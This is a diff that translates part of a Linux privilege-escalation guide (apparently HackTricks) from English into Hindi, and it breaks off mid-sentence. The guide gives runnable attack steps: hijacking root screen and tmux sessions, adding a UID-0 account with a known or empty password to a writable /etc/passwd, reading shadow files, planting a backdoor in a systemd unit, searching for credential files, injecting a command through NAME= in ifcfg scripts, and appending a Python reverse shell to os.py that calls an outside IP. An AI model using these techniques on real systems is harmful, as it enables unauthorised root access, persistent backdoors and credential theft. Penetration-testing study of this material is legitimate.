exploitation.\ -Read the following page to **learn more about capabilities and how to abuse them**: +Linux क्षमताएँ एक **प्रक्रिया को उपलब्ध रूट विशेषाधिकारों का उपसमुच्चय** प्रदान करती हैं। यह प्रभावी रूप से रूट **विशेषाधिकारों को छोटे और विशिष्ट इकाइयों में विभाजित** करता है। इन इकाइयों में से प्रत्येक को स्वतंत्र रूप से प्रक्रियाओं को सौंपा जा सकता है। इस तरह पूर्ण विशेषाधिकारों का सेट कम हो जाता है, जिससे शोषण के जोखिम कम होते हैं।\ +**क्षमताओं और उन्हें कैसे दुरुपयोग करना है** के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} linux-capabilities.md {{#endref}} -## Directory permissions +## निर्देशिका अनुमतियाँ -In a directory, the **bit for "execute"** implies that the user affected can "**cd**" into the folder.\ -The **"read"** bit implies the user can **list** the **files**, and the **"write"** bit implies the user can **delete** and **create** new **files**. +एक निर्देशिका में, **"कार्यान्वयन"** के लिए बिट का अर्थ है कि प्रभावित उपयोगकर्ता "**cd**" फ़ोल्डर में जा सकता है।\ +**"पढ़ने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** की **सूची** बना सकता है, और **"लिखने"** का बिट यह दर्शाता है कि उपयोगकर्ता **फाइलों** को **हटा** और **नया** **फाइलें** **बना** सकता है। ## ACLs -Access Control Lists (ACLs) represent the secondary layer of discretionary permissions, capable of **overriding the traditional ugo/rwx permissions**. These permissions enhance control over file or directory access by allowing or denying rights to specific users who are not the owners or part of the group. This level of **granularity ensures more precise access management**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). - -**Give** user "kali" read and write permissions over a file: +एक्सेस कंट्रोल लिस्ट (ACLs) विवेकाधीन अनुमतियों की द्वितीयक परत का प्रतिनिधित्व करती हैं, जो **पारंपरिक ugo/rwx अनुमतियों को ओवरराइड** करने में सक्षम हैं। ये अनुमतियाँ फ़ाइल या निर्देशिका के एक्सेस पर नियंत्रण को बढ़ाती हैं, विशेष उपयोगकर्ताओं को अधिकार देने या अस्वीकार करने की अनुमति देकर जो मालिक या समूह का हिस्सा नहीं हैं। यह स्तर **सूक्ष्मता अधिक सटीक एक्सेस प्रबंधन सुनिश्चित करता है**। अधिक विवरण [**यहाँ**](https://linuxconfig.org/how-to-manage-acls-on-linux) पाया जा सकता है। +**उपयोगकर्ता "kali" को एक फ़ाइल पर पढ़ने और लिखने की अनुमतियाँ दें:** ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` - -**Get** files with specific ACLs from the system: - +**विशिष्ट ACLs** वाले फ़ाइलें सिस्टम से प्राप्त करें: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` +## ओपन शेल सत्र -## Open shell sessions +**पुराने संस्करणों** में आप किसी **अन्य उपयोगकर्ता** (**रूट**) के कुछ **शेल** सत्रों को **हाइजैक** कर सकते हैं।\ +**नवीनतम संस्करणों** में आप केवल **अपने स्वयं के उपयोगकर्ता** के स्क्रीन सत्रों से **कनेक्ट** कर सकेंगे। हालाँकि, आप **सत्र के अंदर दिलचस्प जानकारी** पा सकते हैं। -In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ -In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. - -### screen sessions hijacking - -**List screen sessions** +### स्क्रीन सत्रों का हाइजैकिंग +**स्क्रीन सत्रों की सूची** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` - ![](<../../images/image (141).png>) -**Attach to a session** - +**एक सत्र से जुड़ें** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` +## tmux सत्रों का हाइजैकिंग -## tmux sessions hijacking - -This was a problem with **old tmux versions**. I wasn't able to hijack a tmux (v2.1) session created by root as a non-privileged user. - -**List tmux sessions** +यह **पुराने tmux संस्करणों** के साथ एक समस्या थी। मैं एक गैर-प्रिविलेज्ड उपयोगकर्ता के रूप में रूट द्वारा बनाए गए tmux (v2.1) सत्र को हाइजैक करने में असमर्थ था। +**tmux सत्रों की सूची** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` - ![](<../../images/image (837).png>) -**Attach to a session** - +**एक सत्र से जुड़ें** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1296,149 +1113,125 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` - Check **Valentine box from HTB** for an example. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -This bug is caused when creating a new ssh key in those OS, as **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +सभी SSL और SSH कुंजी जो Debian आधारित सिस्टम (Ubuntu, Kubuntu, आदि) पर सितंबर 2006 और 13 मई 2008 के बीच उत्पन्न की गई थीं, इस बग से प्रभावित हो सकती हैं।\ +यह बग उन OS में एक नई ssh कुंजी बनाने के दौरान होता है, क्योंकि **केवल 32,768 भिन्नताएँ संभव थीं**। इसका मतलब है कि सभी संभावनाएँ गणना की जा सकती हैं और **ssh सार्वजनिक कुंजी होने पर आप संबंधित निजी कुंजी के लिए खोज कर सकते हैं**। आप यहाँ गणना की गई संभावनाएँ पा सकते हैं: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. -- **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. -- **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`. +- **PasswordAuthentication:** यह निर्दिष्ट करता है कि क्या पासवर्ड प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `no` है। +- **PubkeyAuthentication:** यह निर्दिष्ट करता है कि क्या सार्वजनिक कुंजी प्रमाणीकरण की अनुमति है। डिफ़ॉल्ट `yes` है। +- **PermitEmptyPasswords**: जब पासवर्ड प्रमाणीकरण की अनुमति होती है, तो यह निर्दिष्ट करता है कि क्या सर्वर खाली पासवर्ड स्ट्रिंग वाले खातों में लॉगिन की अनुमति देता है। डिफ़ॉल्ट `no` है। ### PermitRootLogin -Specifies whether root can log in using ssh, default is `no`. Possible values: +यह निर्दिष्ट करता है कि क्या रूट ssh का उपयोग करके लॉगिन कर सकता है, डिफ़ॉल्ट `no` है। संभावित मान: -- `yes`: root can login using password and private key -- `without-password` or `prohibit-password`: root can only login with a private key -- `forced-commands-only`: Root can login only using private key and if the commands options are specified -- `no` : no +- `yes`: रूट पासवर्ड और निजी कुंजी का उपयोग करके लॉगिन कर सकता है +- `without-password` या `prohibit-password`: रूट केवल निजी कुंजी के साथ लॉगिन कर सकता है +- `forced-commands-only`: रूट केवल निजी कुंजी का उपयोग करके और यदि कमांड विकल्प निर्दिष्ट किए गए हैं तो लॉगिन कर सकता है +- `no` : नहीं ### AuthorizedKeysFile -Specifies files that contain the public keys that can be used for user authentication. It can contain tokens like `%h`, which will be replaced by the home directory. **You can indicate absolute paths** (starting in `/`) or **relative paths from the user's home**. For example: - +यह उन फ़ाइलों को निर्दिष्ट करता है जो सार्वजनिक कुंजियों को शामिल करती हैं जो उपयोगकर्ता प्रमाणीकरण के लिए उपयोग की जा सकती हैं। इसमें `%h` जैसे टोकन हो सकते हैं, जिसे होम डायरेक्टरी द्वारा प्रतिस्थापित किया जाएगा। **आप पूर्ण पथ निर्दिष्ट कर सकते हैं** (जो `/` से शुरू होता है) या **उपयोगकर्ता के होम से सापेक्ष पथ**। उदाहरण के लिए: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` - -That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` +वह कॉन्फ़िगरेशन यह संकेत देगा कि यदि आप उपयोगकर्ता "**testusername**" की **private** कुंजी के साथ लॉगिन करने की कोशिश करते हैं, तो ssh आपकी कुंजी की सार्वजनिक कुंजी की तुलना `/home/testusername/.ssh/authorized_keys` और `/home/testusername/access` में स्थित कुंजियों के साथ करेगा। ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** (without passphrases!) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**. - -You need to set this option in `$HOME/.ssh.config` like this: +SSH एजेंट फॉरवर्डिंग आपको **अपनी स्थानीय SSH कुंजियों का उपयोग करने** की अनुमति देता है बजाय इसके कि आप अपने सर्वर पर कुंजियाँ (बिना पासफ़्रेज़ के!) छोड़ दें। इसलिए, आप ssh के माध्यम से **एक होस्ट** पर **जंप** कर सकेंगे और वहां से **दूसरे** होस्ट पर **जंप** कर सकेंगे **उपयोग करके** अपनी **प्रारंभिक होस्ट** में स्थित **कुंजी**। +आपको इस विकल्प को `$HOME/.ssh.config` में इस तरह सेट करना होगा: ``` Host example.com - ForwardAgent yes +ForwardAgent yes ``` +ध्यान दें कि यदि `Host` `*` है, तो हर बार जब उपयोगकर्ता किसी अन्य मशीन पर कूदता है, वह होस्ट कुंजियों तक पहुँच प्राप्त कर सकेगा (जो एक सुरक्षा समस्या है)। -Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). +फाइल `/etc/ssh_config` इस **विकल्पों** को **ओवरराइड** कर सकती है और इस कॉन्फ़िगरेशन की अनुमति या अस्वीकृति कर सकती है।\ +फाइल `/etc/sshd_config` ssh-agent फॉरवर्डिंग को कीवर्ड `AllowAgentForwarding` के साथ **अनुमति** या **अस्वीकृति** दे सकती है (डिफ़ॉल्ट अनुमति है)। -The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ -The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). - -If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: +यदि आप पाते हैं कि फॉरवर्ड एजेंट किसी वातावरण में कॉन्फ़िगर किया गया है, तो निम्नलिखित पृष्ठ को पढ़ें क्योंकि **आप इसे विशेषाधिकार बढ़ाने के लिए दुरुपयोग कर सकते हैं**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## Interesting Files +## दिलचस्प फ़ाइलें -### Profiles files - -The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. +### प्रोफाइल फ़ाइलें +फाइल `/etc/profile` और `/etc/profile.d/` के अंतर्गत फ़ाइलें **स्क्रिप्ट हैं जो तब निष्पादित होती हैं जब उपयोगकर्ता एक नया शेल चलाता है**। इसलिए, यदि आप इनमें से किसी को **लिख सकते हैं या संशोधित कर सकते हैं, तो आप विशेषाधिकार बढ़ा सकते हैं**। ```bash ls -l /etc/profile /etc/profile.d/ ``` +यदि कोई अजीब प्रोफ़ाइल स्क्रिप्ट मिलती है, तो आपको इसे **संवेदनशील विवरणों** के लिए जांचना चाहिए। -If any weird profile script is found you should check it for **sensitive details**. - -### Passwd/Shadow Files - -Depending on the OS the `/etc/passwd` and `/etc/shadow` files may be using a different name or there may be a backup. Therefore it's recommended **find all of them** and **check if you can read** them to see **if there are hashes** inside the files: +### पासवर्ड/शैडो फ़ाइलें +OS के आधार पर `/etc/passwd` और `/etc/shadow` फ़ाइलें एक अलग नाम का उपयोग कर सकती हैं या एक बैकअप हो सकता है। इसलिए यह अनुशंसित है कि **उनमें से सभी को खोजें** और **जांचें कि क्या आप उन्हें पढ़ सकते हैं** यह देखने के लिए **क्या फ़ाइलों के अंदर हैश हैं**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` - -In some occasions you can find **password hashes** inside the `/etc/passwd` (or equivalent) file - +कई मौकों पर आप **password hashes** को `/etc/passwd` (या समकक्ष) फ़ाइल के अंदर पा सकते हैं। ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` - ### Writable /etc/passwd -First, generate a password with one of the following commands. - +पहले, निम्नलिखित कमांड में से एक के साथ एक पासवर्ड उत्पन्न करें। ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` - -Then add the user `hacker` and add the generated password. - +फिर उपयोगकर्ता `hacker` जोड़ें और उत्पन्न पासवर्ड जोड़ें। ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` +उदाहरण: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` - -You can now use the `su` command with `hacker:hacker` - -Alternatively, you can use the following lines to add a dummy user without a password.\ -WARNING: you might degrade the current security of the machine. +आप अब `su` कमांड का उपयोग `hacker:hacker` के साथ कर सकते हैं। +वैकल्पिक रूप से, आप बिना पासवर्ड के एक डमी उपयोगकर्ता जोड़ने के लिए निम्नलिखित पंक्तियों का उपयोग कर सकते हैं।\ +चेतावनी: आप मशीन की वर्तमान सुरक्षा को कमजोर कर सकते हैं। ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` +नोट: BSD प्लेटफार्मों में `/etc/passwd` `/etc/pwd.db` और `/etc/master.passwd` पर स्थित है, और `/etc/shadow` का नाम बदलकर `/etc/spwd.db` कर दिया गया है। -NOTE: In BSD platforms `/etc/passwd` is located at `/etc/pwd.db` and `/etc/master.passwd`, also the `/etc/shadow` is renamed to `/etc/spwd.db`. - -You should check if you can **write in some sensitive files**. For example, can you write to some **service configuration file**? - +आपको यह जांचना चाहिए कि क्या आप कुछ **संवेदनशील फ़ाइलों में लिख सकते हैं**। उदाहरण के लिए, क्या आप कुछ **सेवा कॉन्फ़िगरेशन फ़ाइल** में लिख सकते हैं? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` - -For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines: - +उदाहरण के लिए, यदि मशीन **tomcat** सर्वर चला रही है और आप **/etc/systemd/ के अंदर Tomcat सेवा कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं,** तो आप निम्नलिखित पंक्तियों को संशोधित कर सकते हैं: ``` ExecStart=/path/to/backdoor User=root Group=root ``` +आपका बैकडोर अगली बार जब टॉमकैट शुरू होगा, तब निष्पादित होगा। -Your backdoor will be executed the next time that tomcat is started. - -### Check Folders - -The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probably you won't be able to read the last one but try) +### फ़ोल्डर जांचें +निम्नलिखित फ़ोल्डर बैकअप या दिलचस्प जानकारी रख सकते हैं: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (संभवतः आप अंतिम को पढ़ने में असमर्थ होंगे लेकिन प्रयास करें) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` - -### Weird Location/Owned files - +### अजीब स्थान/स्वामित्व वाली फ़ाइलें ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1450,77 +1243,59 @@ find / -type f -user root ! -perm -o=r 2>/dev/null find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null #Writable files by each group I belong to for g in `groups`; - do printf " Group $g:\n"; - find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null - done +do printf " Group $g:\n"; +find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null +done done ``` - -### Modified files in last mins - +### अंतिम मिनटों में संशोधित फ़ाइलें ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` - -### Sqlite DB files - +### Sqlite DB फ़ाइलें ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` - -### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files - +### \*\_इतिहास, .sudo_as_admin_successful, प्रोफ़ाइल, bashrc, httpd.conf, .योजना, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml फ़ाइलें ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` - -### Hidden files - +### छिपी हुई फ़ाइलें ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` - -### **Script/Binaries in PATH** - +### **PATH में स्क्रिप्ट/बाइनरी** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` - -### **Web files** - +### **वेब फ़ाइलें** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` - -### **Backups** - +### **बैकअप** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` +### ज्ञात फ़ाइलें जिनमें पासवर्ड होते हैं -### Known files containing passwords +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) का कोड पढ़ें, यह **कई संभावित फ़ाइलों की खोज करता है जो पासवर्ड रख सकती हैं**।\ +**एक और दिलचस्प उपकरण** जिसका आप इसका उपयोग कर सकते हैं: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) जो एक ओपन-सोर्स एप्लिकेशन है जिसका उपयोग Windows, Linux और Mac के लिए स्थानीय कंप्यूटर पर संग्रहीत कई पासवर्ड पुनर्प्राप्त करने के लिए किया जाता है। -Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for **several possible files that could contain passwords**.\ -**Another interesting tool** that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) which is an open source application used to retrieve lots of passwords stored on a local computer for Windows, Linux & Mac. - -### Logs - -If you can read logs, you may be able to find **interesting/confidential information inside them**. The more strange the log is, the more interesting it will be (probably).\ -Also, some "**bad**" configured (backdoored?) **audit logs** may allow you to **record passwords** inside audit logs as explained in this post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +### लॉग +यदि आप लॉग पढ़ सकते हैं, तो आप **उनमें दिलचस्प/गोपनीय जानकारी** पा सकते हैं। लॉग जितना अजीब होगा, वह उतना ही दिलचस्प होगा (संभवतः)।\ +इसके अलावा, कुछ "**खराब**" कॉन्फ़िगर किए गए (बैकडोर?) **ऑडिट लॉग** आपको ऑडिट लॉग में **पासवर्ड रिकॉर्ड** करने की अनुमति दे सकते हैं जैसा कि इस पोस्ट में समझाया गया है: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` +**लॉग पढ़ने के लिए समूह** [**adm**](interesting-groups-linux-pe/#adm-group) वास्तव में सहायक होगा। -In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-group) will be really helpful. - -### Shell files - +### शेल फ़ाइलें ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1531,74 +1306,67 @@ In order to **read logs the group** [**adm**](interesting-groups-linux-pe/#adm-g ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` - ### Generic Creds Search/Regex -You should also check for files containing the word "**password**" in its **name** or inside the **content**, and also check for IPs and emails inside logs, or hashes regexps.\ -I'm not going to list here how to do all of this but if you are interested you can check the last checks that [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) perform. +आपको उन फ़ाइलों की जांच भी करनी चाहिए जिनमें "**password**" शब्द उनके **नाम** में या **सामग्री** के अंदर है, और साथ ही लॉग में IPs और ईमेल की जांच करनी चाहिए, या हैश regexps।\ +मैं यहाँ यह सब करने का तरीका नहीं बताने जा रहा हूँ लेकिन यदि आप रुचि रखते हैं तो आप अंतिम जांचें देख सकते हैं जो [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) करता है। ## Writable files ### Python library hijacking -If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the OS library and backdoor it (if you can write where python script is going to be executed, copy and paste the os.py library). - -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +यदि आप जानते हैं कि **कहाँ** एक पायथन स्क्रिप्ट निष्पादित होने जा रही है और आप उस फ़ोल्डर के अंदर **लिख सकते हैं** या आप **पायथन पुस्तकालयों को संशोधित कर सकते हैं**, तो आप OS पुस्तकालय को संशोधित कर सकते हैं और इसे बैकडोर कर सकते हैं (यदि आप लिख सकते हैं जहाँ पायथन स्क्रिप्ट निष्पादित होने जा रही है, तो os.py पुस्तकालय को कॉपी और पेस्ट करें)। +**पुस्तकालय को बैकडोर करने के लिए** बस os.py पुस्तकालय के अंत में निम्नलिखित पंक्ति जोड़ें (IP और PORT बदलें): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` +### Logrotate शोषण -### Logrotate exploitation - -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate` में एक सुरक्षा कमी उपयोगकर्ताओं को **लॉग फ़ाइल** या इसके माता-पिता निर्देशिकाओं पर **लेखन अनुमतियों** के साथ संभावित रूप से बढ़ी हुई विशेषाधिकार प्राप्त करने की अनुमति देती है। इसका कारण यह है कि `logrotate`, जो अक्सर **root** के रूप में चलता है, को मनमाने फ़ाइलों को निष्पादित करने के लिए हेरफेर किया जा सकता है, विशेष रूप से _**/etc/bash_completion.d/**_ जैसी निर्देशिकाओं में। यह महत्वपूर्ण है कि _/var/log_ में ही नहीं, बल्कि किसी भी निर्देशिका में जहां लॉग रोटेशन लागू किया गया है, अनुमतियों की जांच की जाए। > [!NOTE] -> This vulnerability affects `logrotate` version `3.18.0` and older +> यह सुरक्षा कमी `logrotate` संस्करण `3.18.0` और पुराने को प्रभावित करती है -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +सुरक्षा कमी के बारे में अधिक विस्तृत जानकारी इस पृष्ठ पर मिल सकती है: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +आप इस सुरक्षा कमी का शोषण [**logrotten**](https://github.com/whotwagner/logrotten) के साथ कर सकते हैं। -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +यह सुरक्षा कमी [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx लॉग),** के बहुत समान है, इसलिए जब भी आप पाते हैं कि आप लॉग को बदल सकते हैं, तो जांचें कि उन लॉग का प्रबंधन कौन कर रहा है और जांचें कि क्या आप लॉग को सिम्लिंक्स द्वारा प्रतिस्थापित करके विशेषाधिकार बढ़ा सकते हैं। ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**सुरक्षा कमी संदर्भ:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. +यदि, किसी भी कारण से, एक उपयोगकर्ता _/etc/sysconfig/network-scripts_ में **लेखन** करने में सक्षम है `ifcf-` स्क्रिप्ट या यह एक मौजूदा स्क्रिप्ट को **समायोजित** कर सकता है, तो आपका **सिस्टम प्वंड** है। -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). +नेटवर्क स्क्रिप्ट, _ifcg-eth0_ उदाहरण के लिए नेटवर्क कनेक्शनों के लिए उपयोग की जाती हैं। वे बिल्कुल .INI फ़ाइलों की तरह दिखती हैं। हालाँकि, उन्हें Linux पर नेटवर्क प्रबंधक (dispatcher.d) द्वारा \~sourced\~ किया जाता है। -In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. - -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +मेरे मामले में, इन नेटवर्क स्क्रिप्ट में `NAME=` को सही तरीके से संभाला नहीं गया है। यदि आपके नाम में **सफेद/खाली स्थान है तो सिस्टम सफेद/खाली स्थान के बाद के भाग को निष्पादित करने की कोशिश करता है**। इसका मतलब है कि **पहले सफेद स्थान के बाद सब कुछ root के रूप में निष्पादित होता है**। +उदाहरण के लिए: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +### **init, init.d, systemd, और rc.d** -(_Note the blank space between Network and /bin/id_) +डायरेक्टरी `/etc/init.d` **System V init (SysVinit)** के लिए **स्क्रिप्ट** का घर है, जो **क्लासिक Linux सेवा प्रबंधन प्रणाली** है। इसमें सेवाओं को `start`, `stop`, `restart`, और कभी-कभी `reload` करने के लिए स्क्रिप्ट शामिल हैं। इन्हें सीधे या `/etc/rc?.d/` में पाए जाने वाले प्रतीकात्मक लिंक के माध्यम से निष्पादित किया जा सकता है। Redhat सिस्टम में एक वैकल्पिक पथ `/etc/rc.d/init.d` है। -### **init, init.d, systemd, and rc.d** +दूसरी ओर, `/etc/init` **Upstart** से संबंधित है, जो Ubuntu द्वारा पेश की गई एक नई **सेवा प्रबंधन** प्रणाली है, जो सेवा प्रबंधन कार्यों के लिए कॉन्फ़िगरेशन फ़ाइलों का उपयोग करती है। Upstart में संक्रमण के बावजूद, SysVinit स्क्रिप्ट अभी भी Upstart कॉन्फ़िगरेशन के साथ उपयोग की जाती हैं क्योंकि Upstart में एक संगतता परत है। -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +**systemd** एक आधुनिक प्रारंभिककरण और सेवा प्रबंधक के रूप में उभरता है, जो मांग पर डेमन प्रारंभ करने, ऑटोमाउंट प्रबंधन, 